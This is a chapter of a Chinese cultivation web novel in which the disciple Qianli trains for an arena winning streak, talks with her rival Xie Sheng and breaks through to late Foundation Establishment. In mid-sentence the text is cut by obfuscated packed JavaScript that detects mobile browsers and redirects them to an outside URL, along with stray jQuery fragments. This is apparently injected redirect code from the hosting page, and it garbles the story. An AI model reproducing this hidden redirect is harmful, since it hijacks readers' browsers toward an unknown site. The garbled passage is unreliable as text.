日光正暖,落在身上,将神魂中丝丝缕缕的痛驱去几分。
突然,神魂深处,那些她早已习惯的细痛骤然收紧,拧作一根细针,猛地扎入她的神识。
明庚呼吸一滞。
浑身剧痛之下,眼前阵阵发黑,她竟控制不住自己身体,整个人从躺椅上翻落。
啪嗒,啪嗒——
急促的脚步声由远及近。
过了好一会儿,等习惯了这份痛意,明庚才微微睁开眼。视野里一片模糊,只有一大团黑色凑在面前,遮住了日光。
是放肆。
它低下头,长喙在她手边碰了碰。
明庚缓缓松开咬紧的牙关,慢慢坐起,重新躺回椅中。额角的冷汗沿着鬓边滑下。
她垂下眼,摊开仍在微微发颤的手。
眼前重影渐渐散去,她看见自己的掌心已经黑透了。
明庚轻叹了一声,随即闭目运功,将灵力一点点引入经脉。直至一个周天走完,掌中的黑色才渐渐淡去。
识海深处,那阵尖锐的痛,也随之散开。
耳边又是啪嗒啪嗒两声,紧接着,她身侧掀起一阵风,振翅声渐渐远去。
明庚眼皮动了一动,终究没有睁开眼。
没过多久,头顶日光忽地一暗。
放肆载着千黎回来了。
千黎从鹤背上跳下来,脚刚落地,便焦急问道:“师尊,你怎么了?!”
明庚微微掀开眼皮,声音如往日平稳。
“什么怎么了?”
千黎有些语无伦次:“放肆它……我……”她说着,看看放肆,又看看明庚,一时有些迟疑。
明庚躺在日光下,神色懒倦,微风吹起几缕碎发落在她脸上,看起来与素日并无差别。
明庚问:“擂台如何?”
“今天榜首换人,只能和榜一打。我前面还排着很多人,我没打就回来了。
千黎说着,目光仍在明庚身上打转。她一只手按在放肆背上,无意识地抓了抓手下柔顺的羽毛,又松开手,说:“师尊既然没事,那我就去修炼了。你若有什么事,记得跟我说。”
明庚轻笑一声,道:“倒像个小大人,也没见你再长高些。修炼去吧。”
千黎挠了挠头,她很矮吗?
虽然是比姜霁白和明庚矮,但是她可比苏锦云高半个头呢,实在算不上矮吧。
千黎心想,明明是师尊太高了。
从剑阵令出来后,明庚已经不在院中了。
千黎取出灵玉,看到苏妙云给她发的消息。
千黎想,幸好苏妙云提前请了一个月的假,否则她这一来一回,少不得耽误好几节课。
宗内小考成绩出来后,苏妙云的阵法课终于及格了一回。因此,她连发了不少消息给自己,字里行间都是掩饰不住的高兴。
最后,苏妙云还说要给她这个优秀老师打个大红包。
千黎因此也高兴了起来。
因为决心要拿百连胜,千黎便把原本用于练习术法和看丹书的时间,都用来泡在剑阵令中。
连万灵福铺那边,她也不再隔三差五突击检查了,只照原定安排,每月巡查一次。
这一学期,明庚终于没再给她额外安排课程。多出来的时间正好全用来练剑。
然而,百连胜比她原先想的还要难。
新来的榜一、榜二,都是极棘手的对手。
谢笙眉目清秀,脸颊还带了点婴儿肥,看起来十分和善。可一旦拔剑,他却锋芒毕露,招招凌厉。据说,他是八阶单金灵根。
谢柯则是金土双灵根,剑势不如谢笙尖锐,却沉稳严密。想抓他的破绽并不容易。千黎几次想诱他冒进,都没能得逞。
每逢与这两人交手,千黎都免不了一场苦战。
偏偏名次越高,便越容易排到与自己排名相近的对手。这两兄弟又几乎日日泡在擂台上,千黎每天来,总要撞上他们。
她和谢柯倒是彼此有胜有负,对上谢笙,千黎几乎没赢过。
想拿百连胜,实在不容易。
又一次败于谢笙后,千黎痛定思痛,决定暂且放下擂台,先去剑阵令中潜修一阵。
日日练剑,不知不觉便到了七月。
千黎久违又来到擂台。
许久没有打擂,她在试道榜上的名次已经掉到了第十七。
连赢两场后,千黎又遇上了谢笙。
他稳居榜首已久,仍旧日日前来打擂,积分始终高居不下。不过,也正因如此,赢他一场所得的积分格外可观。
千黎看了眼榜上两人的分数,心中有些期待。
若能赢下这一场,名次应当能往前挪上不少。
两人相互见礼,随即拔剑交手。
一番鏖战,千黎终究棋差一招,又败了。
她下了擂台,回想着方才的交锋,越想越不解。
这些日子,她分明进步了不少。可到了谢笙面前,怎么还是觉得差了那么一点?
那一点,究竟差在哪里?
千黎摸出灵玉想要找明庚问问,斟酌几分,又把它收了起来。
这种说不清楚的问题,隔着灵玉问了也没有用。还是等师尊回来时再说吧。
千黎回去后,又进了剑阵令,随手挑了一把剑。
里面的小明庚和往常一样,先讲述自己的炼器思路。
“结丹之后,我便开始尝试炼制天阶法器,却屡屡失败。这把剑,也是我的失败之作。”
她手中那把剑通身漆黑,剑身细长,锐利十分。其上刻着精致的花纹,沿剑脊蜿蜒而上。
千黎知道,师尊向来喜欢将阵纹刻成漂亮的纹样,既能用,也好看。
“以量取胜,有时候是不得而为之。因为我找不到正确的道,便只能多试几次,盼着瞎猫碰上死耗子。”小明庚说着,抬眼看向千黎。
千黎当即拔剑。
不过十招,她便被这位金丹初期的小明庚打了出来。
千黎揉了揉肩,想了片刻,又选了一把天阶剑。
这一个小明庚是金丹后期修为。
“五行相生,顺势流转并不难。可水火相克,又该如何相容?”
她垂眼打量着手中深蓝的长剑。
“低阶的水火灵材,尚能强行炼合。换成高阶灵材,稍有不慎,便会材料尽毁。”
“这把剑由地火琉璃和冰心水玉炼制而成。乍看之下,我好像成功了。可惜两者的威力都没能尽数发挥,这把剑在天阶中,也只能算是下品……”
千黎打断她:“从地阶到天阶,你究竟是怎么跨过去的?”
小明庚淡淡看了她一眼,举起剑。
“打过我就告诉你。”
千黎立即举起双手:“我打不过。”
先前能胜过越凌云,是因为她虽有金丹修为,却毕竟是医修,并不专精剑道。单论剑术,甚至不及一些筑基大圆满的剑修。
可眼前这位是明庚。
千黎如今连筑基大圆满的小明庚都还打不过,更不必说金丹后期了。
小明庚道:“既然打不过,便是还没到时候。”
千黎还想再问,便是眼前一晃,已经被扔了出来。
她挠了挠头,还没到时候是什么意思呢?
是指她还得再练练?
可是毫无方向、漫无目的的埋头苦练,岂不是事倍功半?
她到底是差了别人一点什么呢?
次日,千黎没有再进剑阵令,转而去了擂台。
也不打,纯看。
坐在那一连看了三天,连谢笙都主动过来问她:“你怎么不打了?”
千黎托着下巴,说:“打不过,不想打。”
谢笙正拨弄着手中的麦芽糖,闻言问她:“你都不打,怎么知道打不过?”
“其他人我都有把握。”千黎看着他,“我打不过你。”
“打过我,是挺难的。”谢笙点头,把麦芽糖塞进嘴里,“我在筑基大圆满待了七年。”
千黎一下坐直了,问:“这么难突破?!”
“倒也不是。”谢笙道,“秘境五年一开,若我在进秘境之前结丹了,我在金丹里可排不进前十。若留在筑基,那还能混到进秘境的名额。”
说着,他叹了口气。
“上回秘境开启,我就没能进去。前头几个都压着修为不肯结丹,我打不过他们。”
千黎狐疑地扫视过场上的几位筑基大圆满,问:“难道他们也都是这个打算?”
“大多是。”谢笙笑道,“你才筑基中期,便能排到这里,已经很厉害了。”
千黎重重叹气。
被夸有什么用?不拿百胜,一切都没意义。
谢笙忽然又说:“而且,我压着修为,还有一个缘故。”
千黎扭头看他,就听到他说:“我必须要拿第一。”
千黎想起自己两位师姐的排名,深以为然地点头。
“我也想拿第一。”
“为什么?因为你两位师姐都是第一?”
千黎心中狐疑,她好像没对谢笙说过自己的师承。
不过,宗内知道她师承的人也不在少数,想来他是从别人那里听说的。
谢笙笑了笑,说:“我要拿第一,也是因为你两位师姐都是第一。”
这是什么意思?
千黎心中疑惑更重,问:“我的师姐和你有什么关系?”
谢笙没有回答,只把手中的一袋麦芽糖递了过来。
“你很厉害。两年以内,我一定会输给你。 ”说罢,他起身往擂台走去。
千黎看着他走远,心想,这人怎么回事,都说些什么乱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17924748|208889||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
七八糟的东西。
她打开手中的袋子,捻了一块麦芽糖放进嘴里。
天哪,这么甜,谁会爱吃这种东西啊?
将糖袋收好,千黎又叹了口气。
难道自己真要熬到筑基后期,才能打败他们吗?
她在筑基中期停留了半年,近日虽隐隐有了要到筑基后期的苗头。可究竟何时能成,自己也说不准。
等到能稳稳胜过谢笙,莫非当真还要一两年?
又看了半日擂台,千黎才起身出宗,去给苏妙云上课。
依苏妙云如今进度,考过一印已经不在话下,距离通过二印考试,却还有不少距离。
此时,苏妙云正看着手中的阵法,百思不得其解。
“老师,这个阵你上次明明是这样开头的,可是我怎么解不出来?”
千黎道:“你只记住我写的步骤,不了解其中每一步的意义,又有什么用?”
“普通的阵法考试,靠死记硬背或许可以过关。二印考试可不行。”
“你不能只琢磨我的过程,然后再依葫芦画瓢。你要想明白我的步骤,学通透后,再按照你自己的步骤来。”
这话说完,两人都沉思了起来。
千黎想起剑阵令中的那些剑。
自己是不是也如此?
总想着师尊遇到这一剑会如何应对,再将学来的招式用到对战之中。以至于她目前的每一招每一式,都是从师尊那学来的动作,而不是属于她自己的。
千黎摸了摸下巴,若有所思。
……
次日,她去了剑阁,花钱租下一间训练室。
训练室中的场地各不相同。千黎选了一片水上石林。
她站在礁石上,四周水波轻荡,一根根石柱自水中拔起,高低错落。
她现在作战大多依赖水灵根,在水上练剑再合适不过。
千黎握着剑,回想着自己见过的那些人。
最开始的……是姜霁白的剑意。
纯粹,强大,剑之所指,万物摧折。
然后是明庚。
她的身法与灵力配合得极好,每一步、每一剑都恰到好处,不多耗一丝力气。
千黎自认,她在明庚身上,即便没有学到十成,也有了七八分。
再后来,是擂台上的诸多对手。
他们各有各的身法和习惯。同样一招剑式,由不同的人使来,也会生出不同的变化。
那她自己呢?
千黎拔剑出鞘。
旋身,舞剑。
剑气掠出,击上周围石林,刻下了道道痕迹,又很快消失。
水声随剑而起,细浪撞上礁石,水落无痕。
属于她的剑道是什么?
她闭着眼,感受着体内灵力如何运转过经脉,感受着手中剑如何随身而动。
剑中灵力从水灵力转为冰灵力,一道道带着寒气的剑气锐利斩出。
她身形越来越快,石林上的剑痕越来越多。
旧痕未退,新的剑痕又刻下,整片石林渐渐变得斑驳。
她学过许多剑招,也见过许多种出剑的方式。
她要找出属于自己的一招一式。
不知何时起,她的动作停住了。
冰晶自手中蔓延出,覆上长剑;寒意从她脚下蔓延出,从礁石铺上水面。
只须臾间,屋内的一切都被冻上。连刚刚漾起的浪花也维持着翻涌的模样,冻在半空。
千黎仿佛置身于一片雪原。
天上是簌簌落下的纷乱雪花,地上是厚厚的积雪,无边无际的世界内,一切都浸在冰寒之中。
雪渐渐停了。
千黎心中忽然一片澄明。
主宰一切的,是由她生发出的极致的寒与锐。
寒至万籁俱寂,锐至无物可挡。
是起势决绝,是剑剑致命,是不留余地。
下一瞬,磅礴剑气携着彻骨寒意,轰然荡开!
石林间响起接连不断的震鸣。
冰面上倏然裂开几道口子,裂纹又转眼铺满整片冰面。
一块块碎冰翻起,撞入重新涌动的水中。
千黎缓缓睁开眼。
前方石柱上,几道剑痕深深没入石中。
阵法灵光忽闪着,却无法将其修复。
她心中咯噔一下。
糟了。
打坏了,要赔钱。
不过……
千黎低头看向自己的手,又将神识沉入丹田。
灵力在经脉间充盈流转,经脉仿佛也被洗练过,愈发坚韧。
丹田内的月心发出的光辉更加清透,而凝霜沐月草在淡淡月辉下,更加舒展。
她筑基后期了!
千黎收起剑,脸上挂着笑,到前台交了赔偿金。然后往擂台走去。